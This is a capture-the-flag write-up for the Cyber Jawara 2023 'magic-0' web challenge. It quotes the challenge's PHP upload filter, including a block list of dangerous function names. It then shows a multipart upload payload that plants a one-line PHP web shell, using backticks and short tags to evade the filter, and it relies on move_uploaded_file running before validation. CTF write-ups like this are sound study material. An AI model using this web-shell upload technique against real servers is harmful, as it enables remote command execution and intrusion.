AFU Bypass restricted char for RCE, move_uploaded_file

#CJ23

This chall from Cyber Jawara Final pelajar.

Link: https://github.com/Danieldd28/CyberJawara23-Finalist/tree/main/web/magic-0

Chall name : magic-0

function canUploadImage($file) {
    $maxFileSize = 500 * 1024;
    $forbidden = array(
        'exec', 'passthru', 'shell_exec', 'system', 'proc_open', 'popen', 'curl_exec',
        'curl_multi_exec', 'show_source', 'system', 'shell_exec', 'passthru', 'exec',
        'popen', 'proc_open', 'allow_url_fopen', 'allow_url_include', 'fopen_with_path',
        'file_put_contents', 'file_get_contents', 'readfile', 'move_uploaded_file', 
        'copy', 'rename', 'unlink', 'symlink', 'link', 'mkdir', 'rmdir', 'fopen', 'tmpfile', 
        '<?php', 'eval', 'create_function', 'include', 'include_once', 'require', 'require_once'
    );
    $content = file_get_contents($file['tmp_name']);
    foreach ($forbidden as $word) {
        if (stripos($content, $word) !== false) {
            return false;
        }
    }
    return ($file['size'] <= $maxFileSize &&
        strlen($file['name']) >= 30
    );
}

we can bypass this using

2

so the full payload will be :

Content-Disposition: form-data; name="image"; filename="outputcokkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk.php"
Content-Type: text/plain

<?=`$_GET[0]`?>

in burpsuite.

the response will be : Pasted image 20240229145510.png

but the file is uploaded. because :

if (canUploadImage($_FILES['image'])) {
        move_uploaded_file($_FILES['image']['tmp_name'], 'results/original-' . $_FILES['image']['name']);
        $resizedImagePath = resizeImage($_FILES['image']['name']);
    } else {
        $error = 'Please upload different file.';
    }

its move_uploaded_file first. so the file uploaded first.